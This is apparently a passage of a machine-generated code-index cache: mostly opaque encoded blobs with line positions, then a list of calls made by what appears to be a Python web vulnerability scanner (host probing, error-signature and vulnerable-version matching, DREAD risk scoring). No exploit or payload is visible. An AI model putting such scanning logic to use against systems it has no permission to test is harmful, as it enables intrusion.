"arV1Pv{%E\u003cxk.*ob03?\u003cCYN{IefDcWvqH6$b03?\u003cjAC1Mx(FeTvqGH}BspWrv%8T1zGEHwz/5]%zyEX3B7ol8Acan/efDcMvpA!:b03?\u003csw@cVaAz49y?m9#wN({8v@=p5BrCWlxcI:P3lQDlaBtqxvru6[z/QaEiV]R\u003eB8@JRar\u003e#qy\u0026%qkiV]Q]tP#u]x(dG9B8\u003e+NCPZ{xwPz*fAY)\u0026EwPz(vf!2pgefDcMvpA!:b03?\u003csw@cVayPwlA+P09By=O7A+eV{z/{dCEjLZFarR!Nb4C56wOk}4C{ko(b6d*Ex^b8Jb6EyhB.8:Tar(eVh.3+mEiHi+b5yW%wO-LKar\u003c-.r7Pa[vrc77xL?s5x\u003e5n%CYmXmB8}", "ln": 23441, "col": 3, "line": 491 }, { "b": "q/)55BAn(PEjLZFarR!Nb4C56wOk}4C{ko(b5*$jxKt\u003e4vrMj5B75(eefDcWvqH6$b03?\u003ce?O!fe?X?ffj/lnfk$uvB9zdsefDcMvpA!:b03?\u003cp*[DVaARTjC4CYnvqE$Ev@bN{B7]bdEjLZFarR!Nb4C56wOk}4C{ko(b5*$jxKt\u003e4vrMj5B75(eefDcWvqH6$b03?\u003ce?O+efe1}ge?O!ge?O+efe3)Uv\u003eR!fB8#Loa$K\u0026Xy**^:y:7[.b2zY\u0026xDRzqvrMj5B75(Cay]zkvR/QcwO#0@wnb{]b7h0HarR^HDM(%dBy/96A^n\u0026\u0026ar\u003eAoA=2lbuVQsfx(mMcefDcWvqH6$b03?\u003cc37wNc37wNc37wNc37wNc37wNa$K\u0026Xy**^:y:7[.b1uG\u003e", "ln": 23944, "col": 84, "line": 495 }, { "b": "iV}mABzbPgazbLjzddJgEjLZFarR!Nb4C56wOk}4C{ko(b4tXbw[u0\u0026z*2Yjw]8yfa$K\u0026XC42ifwG\u003ceTb0^y}dJ*M4iw@Ahb5yW%wO-LKar\u003cc{w[CQ{aA8BmA+ocaCrc\u003c.vrc0(aAITBx(mMac]sN-di:f\u003e3lQDlaBtqxvru6[z/QaEiV]R:B.\u003e(3vTi6ba$K\u0026XC42ifwG\u003ceTa%!]%a$K\u0026Xy**^:y:7[.b2in%y-)hjBy=OezFA-)BzkVhb7h0HarR^HDM(%dBy/96A^n\u0026\u0026ar\u003eroy?s\u003exar\u003e#qy\u0026%qkiV]Q)fK#E-vot9MzFA-)By!#zBAhIna$K\u0026Xy**^:y:7[.b12m4mG", "ln": 24373, "col": 86, "line": 499 }, { "b": "By/96A^n\u0026\u0026ar(5Ey:7zMb6EyhB.8:TasxooCX}mtC4CYnx(v(La#7Y7b0OmNaW/9[r9r3^azbLgax{@Kmnu/Nr9pt*CX50@sYno*o=$S(x(4uwfe1$\u0026ByM$yvrlHlwfKiy", "ln": 24778, "col": 9, "line": 504 }, { "b": "azC.dwN/*@z/c+Eed9HxarV1Pv{%E\u003cxk.*ob03?\u003cyiarha$K\u0026XC42ifwG\u003ceTcWN4AuVp47Bz\u003eI[b075{vpTj?zx.b-A=\u003e@wEj3M*b5yW%wO-LKar\u003cT5z//]tD2NsqAbPMeB-.tozAn[jq+{djEjLZFarR!Nb4C56wOk}4C{ko(b5zggg?[i=ar\u003e#qy\u0026%qkiV]Q(DUNCex/Z6vvq[mXfekjve?![ie?]1/EiHi+b5yW%wO-LKar\u003cG$xeAL2wO=fzawbx%nG.?/z!\u003cGmaAhvtvR3:ied9HxarV1Pv{%E\u003cxk.*ob03?\u003cB8#wla$K\u0026XC42ifwG\u003ceTb4#7uA5]T9f/z3AgbQ)vf/z3AgbQ)wy*?A%B966LwPRujwmoN*fcR}\u0026b5yW%wO-LKar\u003c-.qBSX\u0026l03#czdN/$wmoN*az2C3AbPDdBrVb:3s9#C3l{XMM5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026/%", "ln": 24932, "col": 163, "line": 504 }, { "b": "AaJK3wN]d(x([3bB-Z#0B-.pviV{mkf!sB\u003eB7Glgx([6jx([RAiV]RRA+PSfv{%f$efDcMvpA!:b03?\u003cl1B?DzxJE#B7/33vrb)5EjLZFarR!Nb5*$jxD/FWa$)wnze0(vwmoK)vSbW}wfJMEb4V1rwN/*[wm6K{BzbPnByeE0Bz8\u003cVat+=befDcTwO#N6Bzk]jBA]5\u003ear\u003erox([60vqEbsar\u003eSgvR6v1iV]RjwnM3#ay[]4xKU)*A+3pvB9g}vb7h0HarR^HDM)AqBz8\u003cVar\u0026EEwnM3#flItEA=SAQar\u003exwAaJK3wN]d(x([3bB-Z#0B-.pviV{mkf!sB\u003eB7Glgx([6jx([RAiV]RRA+PSfv{%f$efDcMvpA!:b03?\u003crDz.(az\u003eL8vp%d*wO#PlEjLZFarR!Nb5*$jxD/FWa$)wzx!J[9ze0(iefDcFCYmk7By!#\u0026Cwd", "ln": 25858, "col": 27, "line": 516 }, { "b": "B7]-gC4(5zb03?\u003cv@=p9x\u003e7N/a$K\u0026Xy**^:y:7[.b0/:Rx(k4Vp!q^Iz/o.wEjLZFarR!Nb5*$jxD/FWa$)wzx!KQIwPz\u0026oefDcFCYmk7By!#\u0026Cwhejz/{eevrDW9b03\u00266fFLa3b6dskB7]-gC4(5zb03?\u003cxLz9)a$K\u0026Xy**^:y:7[.b2@X}AV^UAnG.?-B98blxcI:P3lQDlaBtqKvrufbiV]R1vq]{lv@Dl%x\u003eFRvar\u003exwAaJK3wN]d(x([3bB-Z#0B-.pviV{mkf!sB\u003eB7Glgx([6jx([RAiV]RRA+PSfv{%f$efDcMvpA!:b03?\u003clVl\u003cOx\u003eINevruj4zxIkwnG@Nl3lQDlaBtqKvrufbiV]R1vq]{lB7GDnx(mN8a$K\u0026XwQ5f9v@}", "ln": 26242, "col": 62, "line": 519 }, { "b": "b6dskB7]-gC4(5zb03?\u003cv@=p9x\u003e7N/a$K\u0026Xy**^:y:7[.b1c0KB.q*.p!q\u003cVed9HxarV1PAa9\u003c4b03?\u003cfjw*lfka{9y\u0026\u003ctmefDcFCYmk7By!#\u0026Cwhejz/{eevrDW9b03\u00264fFC42b6dskB7]-gC4(5zb03?\u003cy\u0026sIwefDcMvpA!:b03?\u003cnm=jCBz8!bxK$W?b7h0HarR^HDM)AqBz8\u003cVar\u0026EEAa{$DByxolB0rdTb4V1rwN/*[wm6K{BzbPnByeC", "ln": 26798, "col": 58, "line": 524 }, { "b": "b6dskB7]-gC4(5zb03?\u003cy\u0026sIwefDcMvpA!:b03?\u003cq/(C\u0026B-OWpzE^Z8x(n2pEjLZFarR!Nb5*$jxD/FWa$[7WwPxCyA=kM7y?j!war\u003exwAaJK3wN]d(x([3bB-Z#0B-.pviV{mkf!sB\u003eB7Glgx([6jx([RAiV]R-wN]H$z6yINb5yW%wO-LKar\u003c*bwPw]jA=kM7y?j/sed9HxarV1PAa9\u003c4b03?\u003cfjwv2z/]@ta$K\u0026XwQ5f9v@#o)uW3h", "ln": 27012, "col": 59, "line": 526 }, { "b": "Bzk]jBA]5\u003ear\u003erox([60vqEbsar\u003eSgvR6v1iV]RkvpK7}Ac0drx(!xgzF7ewed9HxarV1PAa9\u003c4b03?\u003cfd{)KBt4cxzF0P}a$K\u0026XwQ5f9v@#o)uW3jaxM53nuTX80xD/FWg+Z:qar\u003e(rzGxJlx)aijC{ko(b4CUcBzkk[y:7zMb5yW%wO-LKar\u003cr\u0026BrC7izF0P}b7h0HarR^HDM)AqBz8\u003cVar\u0026EWwPz%9AXhuOvruTka$K\u0026XwQ5f9v@#o)uW3ja", "ln": 27773, "col": 62, "line": 533 }, { "b": "arR^HA+funA=90Ne?^RParR!sA+fkKavG{NBx-*dAX5tEzGGebjS]913lQDlazbLjay/7cx(k57vrt{s3lQDlarR^HazbU9AA={^t{8oMw].E5e[X:qc$u{wattk!d\u003ccLNarR^Hy?mG%Bz8^Waz+Rbc$D+dvjqKaarR!rzGG]qAcSM?attA43lQDlazbLjay/tjzGE1nzxJLiwPotCvqH6$B0@E#3lQDlarR^HaAeC^ay/tjzGE0Oaz+Rbxlm!]arR^HarR^Hx\u003ewGbau*]4iTM#LarR^HarR^HarUlkBAhqsC{1X4aAeCMaz\u003eLexFaatxef", "ln": 32187, "col": 5, "line": 589 }, { "b": "B#*:!BAe/MeJ$pJx(!x2x(n2#iTM#LarR^HarUSiA==vBjS)%m3lQDlarR^HazbLjaAeDqzxJ$he]$#Fx(\u003e+zb3V:FeG#.*B$2DVarR^HarR^HarR^HBAhT/3lQDlarR^HarR^HarR^HaAg+fBAo6yAbYxawghefBsq8SdgdguarR^HarR^HarUluv}xR3axw", "ln": 32538, "col": 16, "line": 603 }, { "b": "uVp47vR3%gA+)=VB98BNaz\u003eXixM4AxaAITBauZ?\u003em[3x3efFzuwo*iUpJgz\u0026z/f01tvI(1wPIc1jS)HrzE\u003evaarR^HarR^HarR^HarR^HxK$Q.wPz\u0026MawV@#x(v\u003e", "ln": 33292, "col": 10, "line": 629 }, { "b": "arR^HarR^Haz++ex(){bj.ebovrDyduU\u003cB[x(){bed9HxarR^HarS9uarR^HwQ4Y@Ac9i\u003eCW\u003er7BzkVhiTM#LarR^HarUYoBAIRwaBtqJyA+!ZmQZaOwH[@FB97\u0026jB-O-/attt?b64m6B8L}uiV]R=A=kz#azb4@y?mc3efDcIwNPaXA=SA=aBwI/ar\u003eokwo/vWar\u00261T3jmbJwO95(B7GJaA+PSvuVo{$zGG}FB7GJaA+PSviV@G=AW-a.j%jMSBuf:KarR!EwPS6nzxKoIv@=p9x\u003e7N/b03\u00263h7P\u003c]xLz9)b03\u00263fF1s\u003czdNl(B.@r-at\u003eX)b5zgwb03\u00265efDcJzF0/hiV{e9e[X:qd02", "ln": 33647, "col": 4, "line": 636 }, { "b": "arR^Har\u0026D.efDb\u0026x(mD)CRiVKzepyEar\u0026EVz^)TbB1RMVBrSmUa$)LpC4\u003eD8zz2TkzZ3.tarR^HarR^Ha$[1KBy/q$A4VxLy:7zMa$)!wzFrY]B963HB8L}uefDb\u0026e{y(yy+oBuz*c7LB7F\u003c7A+PSve{8tWa$K6zarR^HarR^Jfjw*la$K\u0026Xfjw*lflP5]efDb\u0026vq]{lxK$Q*Bz8\u003cHar\u0026ELwNPy%xD!#marR^HarR^Ha$)+Jxk8lcefDb\u0026A+e($B97#la$K\u0026Xfjw*lfjY0hB0rdTa$[1Yvp%j:AXq9Fz/c:I3lQDlaybrYarR^HA+frhz/fScB2\u003eBqx(!x2l${dMtxs[befEk@D0KX#jS)%m3lQDlazbLjaAg+hxDR2baAhvtvR5[=vrug7iTM#LarR^HarU/Ey-\u003e\u003e-vQTs?uV*y9e](2PA+PFva$\u003eb?as!NNvrue\u0026arR^HarR^HBta?2aARsmwId?rzF%SnzFrPedgdguarR^HarUYoA@", "ln": 34741, "col": 4, "line": 658 }, { "b": "w[=c[x(mN8efF$AB8V5nB7Gz13lQDlaAITkBAIUoB09Q*txi{(B97\u0026jB-O:jazbLjaAwPszxJ$hB8V5nB7Gznx\u003ewGdtoXcgvruTkb3=rPatv7darR^HB7]@iB09Q*txi{(vSb!5uU\u003cp\u003exlm/ht{9-$AV/xBx(k5lwPI*ezGxxgt).X%arU=uze0)2B09Q*txf", "ln": 35484, "col": 16, "line": 677 }, { "b": "arR^HarR^HarR^HayPtjwPQ7Gz/Z1KaAhmkzGG@bwmYp]v@#o)jVa+$arR^HarR^HarR^HarR^HarR^HA+f90wnbE]x(v(Lb2R#}x\u003eqGhwO#3$z!T9hay/tcw[+[2A::67z/dSVB-8tyBZY8eB97\u0026jB-OWnz!9B2az\u003eLjazC.7x\u003e7N[wGVbkxKL^?y?mc1wN]B+ay!\u00263wPGEFed9HxarR^HarR^HarR^HarR^HarUinwNPaRB7ocewJ:yhA+eU", "ln": 36414, "col": 8, "line": 697 }, { "b": "arU-Evrui[uUaF7B09Q*DM\u003e7LB8@JRar\u0026BMB0rdTa$^?LxcF(Ha$^RHxcF(Ha$^OtzZ3.Pa$^}WxcF(Ha$!7Tw[Akrar\u0026BWBy(.B3lQDlarR^HazbLjaAwPszxJ$hB8V5nB7GzN3lQDlarR^HarR^HazCBgA:6-eByxolB0s)jk0p2CfFBRTzE:\u003e#zH0TJtoX2{Bz8\u003e7e]kDIwPxgFe[F{hB9ztuxEEBvazbLjay#WfzxK1xvrui[uUaF7B16cSarR^HarR^HarR^HarR^Hw[=c[x(mN8e[5ZrwO#3bmRM:Jx(mMi3lQDlarR^HarR^HarR^HarR^HaARsty?k+wb2-5[C4CXpwPz*fAV+", "ln": 36703, "col": 7, "line": 703 }, { "b": "BAnNBwPS6nzFs03aAImfzFrY%v{%m%y\u003cvdlx\u003ey%*A+fcgaAImywPF#oxKL^3BzbkdvQTs?y?W=#e*q?NarR^HarR^HarR^HarR^HarR^HarR^Hwo8l\u0026wm6y/z/PzLuU1g*vpS.^v@Dy0c)AFCCoOE!3lQDlarR^HarR^HarR^HarR^HasO-D3lQC", "ln": 39507, "col": 57, "line": 750 }, { "b": "z/x$ADU48pA=k]xEir0kBAnO:FrRf$B.tt#B98ECwO#0#D2N\u003epwg}Chze:JbB8$]6ay/tcBy/uiaA8oyvRGZ*A^n^rvrt{2y?m3\u003caA8cuvixDazy]{Kvrui[az2C3AbPDdBn", "ln": 43441, "col": 51, "line": 815 }, { "b": "z/Pi7A=kz#B2\u003eBqx(!x2rcrd@wM%j$AX5tOBAe]PpJgz\u0026z/f01tvI(1wPIc.t{8oMtm8F}arR^HarS6Rfk+YCwQ4{gBy/uiuUaa=AbPDdByc\u003cUg*+uoB95PSar\u003crAr3A\u003eoph+2Ydj+/GarR^HarR^Pa$)wzx!KvxzE[6bB97#hBrSmUb1C73a$K\u003ciz/fbned9HxarR^HarS6Rfjw*lflP66x(n95y?WA!A=l8xwNxXcDlK).b1C73a$K\u003ciz/fbned9HxarR^HarS6RfcR}\u0026b2z6lr3A\u003eovKDHDx(n95y?WA!yH}=niV]R*A+Pf0wPzc?A=M8sb7g*/ed9HxarR^HarS6Rfjw*la$K\u0026Xp!$1?a$K\u003cCcWN4OvqGK]A=2w#uUTU2zxZCSed9HxarR^HarS6Rfjw*lflpYkA:@=befDcbmn$DZawM\u0026)wHPeqarR^HarR^Hc)yrMAa{$DwNPQ?xG{G1b@dz9gb8H4b@deeb@m}zeIed$ar\u003crAr3A\u003eoph+2Ydj+/GarR^HarR^Pa$)+Jxk8lcefDckpG7jpefFyCB-RbmzEEx[jZ?(rx(knpvrlHlz/PwKcN6#\u003c3lQDlarR^HasFA!vq]{lB-Rbmff83Mixo8Wixnomar\u003crAr3A\u003eoph+2Ydj+/GarR^HarR^Pa$)wzx!KNtB96SSwNY^{jUXciar\u003crAr3A\u003eoph+2Ydj+/GarR^HarR^Pa$)wzx!KNtB96S*A:-D?jUXciar\u003crAr3A\u003eoph+2Ydj+/GarR!j3jm)#arU-pwO$\u003c@x\u003eIr(BAIRnB2\u003eB+wPP4TaAIaoc[bGgarR^Hw]zYjAa9\u003c4efF!vBzbP6efFzuwo/qizxJIhA=k#9Ab](awPG)tarR^HarR^HB-IpvjS[ixB7FZ3A+)vGB98CpA3#[-a$jS+aAg+hxBk\u003e8arR^HarUYoB8Sl+ayxg#w[ts*A=kz#d0oMDefF!vBzbP6j-7", "ln": 44736, "col": 8, "line": 836 }, { "b": "y\u0026.:.wPzG%D0+VfB14CsarR^HarR!EwPI/$vSb!5auZ\u0026/wPI/yxjVfkb4tF3C{j^Za%FDyarR^HarR^HA+frhuUB1VwmY!5uVQsfauZ?\u003ear\u0026BMz!T8qw*hOqEl5G$C6$LSw]zYjyB*PKazCZoA+frhe[X:qc)AtovpS}\u0026B0rdTDWNs}x(){6B0@E^3lQDlarR^Hay/tbvRGZ\u003ewfs2TA+frhuT^}:C{1QWa%n6Ld\u003ce\u003ezB8UG1wNPaXA=UPeBAdY}arR^HarR^Hw]zYjB7]n]v{%E\u003cxk.*oefG1FxkRd1B-I5mazCZomn^2VqEru]m[#uHrz(m:e[]Aszf49OiTM#LarR^HarR^HarUomAV/Bqxcp]aaAImfzEETfA+fqM3lQDlarR^HarR^HarR^HaAImfuV6p?wGTbUB7]n\u003eb5Q?awG\u003ey!arR^HarR^HarR^HarR^Hx\u003ewGex\u003eH^\u003cvqPM#x(k5mwO2:^B7]o8vruTjwD", "ln": 45549, "col": 84, "line": 854 }, { "b": "tYRxrku?x6e)P$KefF%SpgXV(tRnlQB6J=otu\u003eX\u003et}ma83lQDlarR^HarR^HazbLjaz\u0026lnzxJe7wIe4nvrb\u003c\u003ec#ZZWvSb!5efF$Ae\u003eFMdpF%RGk#Qi3t{9\u0026[az?DdarR^HarR!j3lQDlarR^HaA?spB7]MguVQddA:@W4e[GoHwO#3bvSb!5uV{13B7]MguVk", "ln": 49049, "col": 32, "line": 924 }, { "b": "Aa9x\u003cb03?\u003cixo8Wixnpied9HxarR^HarV1PB8M8vb03?\u003cx\u003eeAoed9HxarR^HarV1PB8M8vb03?\u003cx\u003efpFl@D/SaxgS[oHQ7DB7Gxkb7h0HarR^HarR^HDM(*cwNY^{b03?\u003cf^q2%3lQDlarR^HaBtqvwnM3#b03?\u003cBAhInb7h0HarR^Ht)Z]YarR!ovrl0@x(mG?B7]@iB2\u003eBqx(!x2x(n2#auZ\u0026Kt).X%arUc4B7Gf4zE)f@ByxolB7GzNawq", "ln": 54118, "col": 11, "line": 1024 }, { "b": "B98BNavf)\u003cu0ONoax@aU3lQDlazbLjaAg+fvqQ6dx(k5jvrb^[uV]\u003c#x\u003c\u003e[3B2\u003cTJarR^HarR!DB09Q*B-Iqmx\u003c@YlvrcB2e{hhJwO#0@wmWfdvrb^[B15kCw/#53A:-*aaz2wgwGSfv3lQDlarR^HaA.ZvauZ\u0026Vb71oqA:-/(By/JnuV*y9ElS6#Ba2kPx\u003ewGcB0b4gB7DFkvrb^[uVY\u003e2ByffhyZIpcarR^HarU+WauZ\u0026?x(dAlzeTrgBz(5hv\u003c\u0026=karR^HarR^", "ln": 54365, "col": 32, "line": 1033 }, { "b": "x!KKsvrb\u003c\u003ea$K\u0026Xm[3x3efEYazE\u003emF3lQDlarR^HasFA!a$K\u0026Xp!$1?a$K\u003ciz/fbned9HxarR^HarS6Rfjw*lfkLMtx(kaCar\u003cSTq=B}(awM\u0026)wHPeqarR^HarR^Hc)yrMAa{$FB7GwoefDcbmn$DZawM\u0026)wHPeqarR^Ht)Z]YarR!sz/M$xvrc0(Bye#}Bz9iFzdN*5z!7ywuM:62azb+xDs7=5A+w%9B2\u003cTJarR^HarR!ovrl0!Byxi5wPN", "ln": 60045, "col": 14, "line": 1132 }, { "b": "arR^HarR^HarR!HA+(\u003cYaz8*AvQTs?uVYZ%xjVgkkxe\u0026kB-Iqmx\u003c@YlvrcB2e]=2LBy=\u003ezvqH6$dsAxEarR^HarR^HarR^HarR^HA+frhauZ\u0026OB75V(uVp47vR3%gA+)oHBzkP6z/{d+BzkP6z/{dMaA?spx\u003ev", "ln": 60479, "col": 6, "line": 1147 }, { "b": "xk.*oazCZoc)AzEz/c:Iar\u003e(FBzh{FiTM#LarR^HarR^HarR^HarR^HarUluBAg!%xK$Q.wPz\u0026mjS]7}lVl\u003c:wO#Pwrc-B]b03?\u003cvq{g4x\u003e7N[x(v(xyiarhb7f!varR^HarR^HarR^HarR!ry?WG7v{%E\u003cxk.*oau.\u003egb6W%vb035NarR^HarR^HarR^HarR^HarR!rCYW$muUB1VwmY!5auZ\u0026]b13o^By/uieMv1mwG\u003ceTb4kCfy?Wx/BzkVhfl?tIb7f!varR^HarR^HarR^H", "ln": 60868, "col": 24, "line": 1154 }, { "b": "h83Zk3lQDlarR^HarR^HazCBgA+frhuVQr$BAITEjV%]waA8oyA+frhuVQr$BAITEk0p2CfFCJ{arR^HarR^HarR^HarR^Hx\u003ewGdwPI/$B97\u0026jB-OV*jS(QofD:!wwfts", "ln": 65502, "col": 70, "line": 1224 }, { "b": "xKt\u003e4vrMj5B75(eiTM#LarR^HarR^HarR^HarU=DvrMj5B75((x(mD}v{%E$A=Su^ax{4gz/o.Ua$K\u0026XfjFTkfjFvhxD!#Ia$)ztzzc6Aa$K\u0026XzF%05wo*iWefDcXCxUSHvrt{sb3+J#arR^HarR^HarR^HarR!vw/$J1C{)xAwftP7aAz4mA9)6)wo/qfz/M$mzE:(7zxK4wvrMj5B75((x(mD}v{%E$A=SV\u003c3lQDlarR^HarR^HarR^HarR^Hazbt9wnb{]", "ln": 66616, "col": 32, "line": 1239 }, { "b": "wO(0@BrCKhBz8!bvqZ13x\u003e7N/x)Kifx(v(ivqYP#Cw7YjwO=74BrC1dy\u0026sJewftz%A+e:5z/PM6B1OOgwP?T9aAg+gB0bQDwPw]czG6-uay]hbwN/*#C{4iEazbt7wGV5tA@", "ln": 67442, "col": 42, "line": 1249 }, { "b": "wN/G#w]zYjlScPEazC.dwN/*@z/cXsBZ[])B8@DLx(mV%v@#o)azts{wmY^7x(k5lwPI*ezGxwr3lQDlarR^HarR^HazCBgv{%E\u003cxk.*oau.\u003egb4CUfw*evazE:\u003elss)9Z", "ln": 67667, "col": 17, "line": 1253 }, { "b": "arR^Hw]zYjyH}=xaA?gfB.8XfzxJ%LxjVfkb4$K@wmY!5a$K\u003c-Ejl^.By/rgc[dg:arR^HarR^HarR^Hx\u003ewG6wQbzoz/^aozxJw7y*Q\u003c!vpS}\u0026B2\u003cTJarR^HarR^HarR^HarR!ny\u00260D(wNPaXA=UD2wQdM7jS)%m3lQDlarR^HarR^HayP85uUB1VwmY!5twE!}t}PM8AaJ]$d0x3nB.90e3lQDlar@0@xK$W?azbLjayPeazddm0B-OWswNPaXA=SvnA=k!qnjt*jmn:", "ln": 69505, "col": 5, "line": 1284 }, { "b": "o*IDQuSoM]mn(-MoHI/-b4$K@wmY!5b3!y%ze16jx(mM\u003cB7F\u003c7A+PSvuUB1VwmY!5b3^kparR^HarR^Hx\u003ewGewN/7XwNPaXAV/mrBrCpnayP85uUB1VwmY!5iTM#LarR^HarR^HarUogzE^E0xlbXlAbYxawgf]YzE^E0xda9farR^HarR^HarR^HarR!Gx([f5j.t)jx(!ufzF78kwN/\u003e6x([RyxK$Q.wPx*ODVJ+duUB1VwmY!fa$K6zarR^HarR^HarR^HarR!FwP?T9x([R-a]", "ln": 70857, "col": 26, "line": 1309 }, { "b": "arR^HarR^HarR^HarR!FwP/gVar\u003eGkxj@Fix\u003ewFiwmYj)xcFEjzxJQBy\u0026sJeAWSvVz/M%AAb](ex(4v3a%pPqazrxzz*b=kc[coIy\u0026:egb5zgwa{]CnarR^HarR^Hao", "ln": 72422, "col": 2, "line": 1336 }, { "b": "as!NNvrue\u0026arR^HarR^Hw]zYjzdN*5z!6#8zxJdcp/QEsefDc8mnccHmiTo9b2yN8lR5yLar\u003cPTr7P\u003eXqZbHd3lQDlarR^HarR^HaAz4mA3dp^uVPT/wNxy%z^)oaB-IpHaz\u003eXixM4AAzdN*5z!7y", "ln": 80881, "col": 35, "line": 1470 }, { "b": "arR^HarR!ovrl0!B-IpVavoHTwGT#JoDW}=AV/EqwGV86A+w%9asH!Nxd+.TxMOunB2\u003e%cwQ4T2Abo8rv@Dike^-ZzarR^HarU=uzdNTdBugKnr8=WpA+flkwPI@oBzkP6z/{dAx(k5mwN/T@woe\u003ewwmYvYB.(dXaug/53lQDlarR^HaA?spx\u003ezS$BzM1VaxJk/BzblaaARJ", "ln": 84004, "col": 2, "line": 1526 } ], "depth": 1, "facts": { "imp": [ [ "", "DREAD_SCALE.get" ], [ "", "round" ], [ "", "urllib.parse.urlparse" ], [ "", "parsed.netloc.split" ], [ "", "freq.get" ], [ "", "len" ], [ "", "freq.values" ], [ "", "math.log2" ], [ "", "round" ], [ "", "re.split" ], [ "", "parts.append" ], [ "", "int" ], [ "", "parts.append" ], [ "", "_parts" ], [ "", "_parts" ], [ "", "max" ], [ "", "len" ], [ "", "len" ], [ "", "p1.extend" ], [ "", "len" ], [ "", "p2.extend" ], [ "", "len" ], [ "", "zip" ], [ "", "vuln_range.get" ], [ "", "vuln_range.get" ], [ "", "_version_cmp" ], [ "", "_version_cmp" ], [ "", "http_probe" ], [ "", "_host_from_url" ], [ "", "base_url.rstrip" ], [ "", "time.monotonic" ], [ "", "_safe_probe" ], [ "", "time.monotonic" ], [ "", "round" ], [ "", "len" ], [ "", "resp.get" ], [ "", "responses.append" ], [ "", "set" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "r.get" ], [ "", "_dread_score" ], [ "", "any" ], [ "", "r.path.lower.endswith" ], [ "", "r.path.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "r.get" ], [ "", "_dread_score" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "sorted" ], [ "", "sorted" ], [ "", "len" ], [ "", "_dread_score" ], [ "", "len" ], [ "", "statistics.mean" ], [ "", "statistics.stdev" ], [ "", "abs" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "len" ], [ "", "statistics.mean" ], [ "", "statistics.stdev" ], [ "", "abs" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_severity_points" ], [ "", "_dread_score" ], [ "", "r.get" ], [ "", "len" ], [ "", "_shannon_entropy" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "any" ], [ "", "r.path.lower.endswith" ], [ "", "r.path.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "_host_from_url" ], [ "", "set" ], [ "", "base_url.rstrip" ], [ "", "_safe_probe" ], [ "", "resp.get" ], [ "", "resp.get.items" ], [ "", "resp.get" ], [ "", "ERROR_SIGNATURES.items" ], [ "", "re.search" ], [ "", "seen_signatures.add" ], [ "", "sig.get" ], [ "", "match.group" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_severity_points" ], [ "", "_dread_score" ], [ "", "_host_from_url" ], [ "", "r.get.get" ], [ "", "r.get" ], [ "", "version_sources.append" ], [ "", "r.get.get" ], [ "", "r.get" ], [ "", "version_sources.append" ], [ "", "r.get" ], [ "", "m.group" ], [ "", "re.search" ], [ "", "version_sources.extend" ], [ "", "set" ], [ "", "seen.add" ], [ "", "VERSION_VULN_DB.items" ], [ "", "re.search" ], [ "", "m.group" ], [ "", "_version_in_range" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "_host_from_url" ], [ "", "base_url.rstrip" ], [ "", "_safe_probe" ], [ "", "_safe_probe" ], [ "", "r1.get" ], [ "", "r2.get" ], [ "", "h1.get" ], [ "", "h2.get" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "h1.get" ], [ "", "h2.get" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "base_url.rstrip" ], [ "", "urllib.parse.urlencode" ], [ "", "time.monotonic" ], [ "", "_safe_probe" ], [ "", "time.monotonic" ], [ "", "round" ], [ "", "len" ], [ "", "resp.get" ], [ "", "param_responses.append" ], [ "", "baseline_sizes.append" ], [ "", "baseline_statuses.append" ], [ "", "statistics.mean" ], [ "", "max" ], [ "", "max" ], [ "", "min" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "str" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "r.get" ], [ "", "_dread_score" ], [ "", "len" ], [ "", "statistics.mean" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "_host_from_url" ], [ "", "base_url.rstrip" ], [ "", "_safe_probe" ], [ "", "len" ], [ "", "baseline_resp.get" ], [ "", "set" ], [ "", "baseline_resp.get.keys" ], [ "", "baseline_resp.get" ], [ "", "_safe_probe" ], [ "", "base_url.rstrip" ], [ "", "len" ], [ "", "root_resp.get" ], [ "", "base_url.rstrip" ], [ "", "urllib.parse.quote" ], [ "", "_safe_probe" ], [ "", "value.encode" ], [ "", "urllib.parse.urlencode.encode" ], [ "", "urllib.parse.urlencode" ], [ "", "_safe_probe" ], [ "", "resp.get" ], [ "", "len" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "re.search" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "re.search" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "ERROR_SIGNATURES.get" ], [ "", "re.search" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "any" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "str" ], [ "", "resp.get" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "_host_from_url" ], [ "", "r.get.items" ], [ "", "r.get" ], [ "", "list" ], [ "", "set" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_severity_points" ], [ "", "_dread_score" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "_dread_score" ], [ "", "re.search" ], [ "", "list" ], [ "", "set" ], [ "", "h.lower" ], [ "", "h.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_severity_points" ], [ "", "_dread_score" ], [ "", "r.get" ], [ "", "len" ], [ "", "set" ], [ "", "set" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_dread_score" ], [ "", "all_headers.items" ], [ 